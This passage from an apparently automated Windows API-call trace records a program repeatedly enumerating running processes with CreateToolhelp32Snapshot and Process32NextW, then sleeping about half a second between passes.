lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0258.477] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0258.478] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0258.479] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.480] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0258.481] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0258.482] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0258.483] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0258.484] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0258.484] CloseHandle (hObject=0x1e0) returned 1 [0258.485] Sleep (dwMilliseconds=0x1f4) [0259.243] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0259.273] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.274] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.275] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.276] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.277] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.278] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.279] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.280] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.743] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.744] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0259.745] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.745] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.746] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.747] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.750] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.751] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0259.751] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.752] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.753] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0259.754] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.755] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0259.756] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0259.757] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.757] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.758] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0259.759] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0259.760] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0259.761] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0259.762] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0259.762] CloseHandle (hObject=0x1e0) returned 1 [0259.763] Sleep (dwMilliseconds=0x1f4) [0260.368] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0260.374] Process32FirstW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.375] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.376] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.377] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.378] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.379] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.381] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.382] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.383] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.384] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0260.385] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.386] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.387] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.389] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.390] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.391] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.392] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.393] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.394] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.395] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.396] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0260.398] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.399] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.400] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0260.401] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0260.402] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0260.403] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0260.405] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0260.406] CloseHandle (hObject=0x204) returned 1 [0260.406] Sleep (dwMilliseconds=0x1f4) [0261.004] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0261.008] Process32FirstW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.009] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.009] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.010] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.011] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.013] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.013] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.014] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0261.015] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.016] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0261.017] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.018] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.019] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.019] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.020] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.021] Process32NextW (in: hSnapshot=0xe0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.022] Process32NextW (in: hSnapshot=0xe0, 